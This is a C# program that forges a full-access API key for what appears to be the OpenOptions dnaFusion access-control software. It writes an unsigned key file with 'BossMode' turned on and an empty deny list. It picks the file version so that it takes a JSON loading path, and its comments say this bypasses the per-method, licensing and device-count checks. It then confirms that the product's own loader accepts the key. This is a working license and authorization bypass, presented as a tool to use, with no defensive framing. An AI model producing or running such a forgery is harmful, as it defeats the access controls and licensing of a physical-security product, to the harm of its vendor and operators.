using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text;
using OpenOptions.FileSpecification;
using OpenOptions.dnaFusion.Flex.Common;

class Program
{
    static int Main(string[] args)
    {
        // ---- 1. Determine the real OOFile header size (no guesswork) ----
        var ooType = typeof(OOFile);
        var headerType = ooType.GetNestedType("Header", BindingFlags.Public);
        int headerSize = Marshal.SizeOf(headerType);
        Console.WriteLine($"[info] OOFile header size = {headerSize} bytes");

        // ---- 2. Build the JSON payload (short [JsonProperty] names) ----
        // BM  BossMode        true  -> per-method checks always pass
        // LF  LicensedFeature "Flex"-> self-creates dboFlexIntegration, passes stub license
        // SI  SystemId        1
        // N   Name            "AllFeatures"
        // D   Description
        // DP  DevicePlatform  2 (Windows) -> skips iOS/Android device-count checks
        // Dt  DeviceType      3 (NotSpecified)
        // DM  DenyMethods     []    -> nothing denied
        // AA  AlwaysAllowMethods []
        string json = "{\"BM\":true,\"LF\":\"Flex\",\"SI\":1,\"N\":\"AllFeatures\",\"D\":\"Full access key\",\"DP\":2,\"Dt\":3,\"DM\":[],\"AA\":[]}";
        byte[] payload = new UTF8Encoding(false).GetBytes(json);

        // ---- 3. Wrap in a real OOFile (raw, uncompressed, unencrypted) ----
        var file = new OOFile();
        file.Signature = "FAPIK";
        file.Version = 2;                 // != 1  => JSON path in APIKey.Load
        file.IsRaw = true;                // Format='R'(82), ExtendedFormat=0
        file.Data.Write(payload, 0, payload.Length);
        file.Data.Seek(0, SeekOrigin.Begin);

        var ms = new MemoryStream();
        file.SaveToStream(ms);
        byte[] all = ms.ToArray();
        string b64 = Convert.ToBase64String(all);

        Console.WriteLine($"[info] total = {all.Length} bytes (header {headerSize} + payload {payload.Length})");
        Console.WriteLine("[info] header hex = " + BitConverter.ToString(all, 0, headerSize));
        Console.WriteLine("[info] payload    = " + json);

        // ---- 4. Round-trip verify with the real APIKey.Load ----
        try
        {
            APIKey key = APIKey.Load(b64);
            if (key == null)
            {
                Console.WriteLine("[FAIL] APIKey.Load returned null (signature/version mismatch)");
                return 1;
            }
            Console.WriteLine("[OK] APIKey.Load round-trip succeeded:");
            Console.WriteLine($"     BossMode       = {key.BossMode}");
            Console.WriteLine($"     LicensedFeature= {key.LicensedFeature}");
            Console.WriteLine($"     SystemId       = {key.SystemId}");
            Console.WriteLine($"     Name           = {key.Name}");
            Console.WriteLine($"     DevicePlatform = {key.DevicePlatform}");
            Console.WriteLine($"     DeviceType     = {key.DeviceType}");
            Console.WriteLine($"     DenyMethods    = [{string.Join(",", key.DenyMethods ?? new System.Collections.Generic.List<string>())}]");
            Console.WriteLine($"     AlwaysAllow    = [{string.Join(",", key.AlwaysAllowMethods ?? new System.Collections.Generic.List<string>())}]");
            Console.WriteLine();
            Console.WriteLine("APIKEY=" + b64);
            return 0;
        }
        catch (Exception e)
        {
            Console.WriteLine($"[FAIL] round-trip threw: {e.GetType().Name}: {e.Message}");
            return 1;
        }
    }
}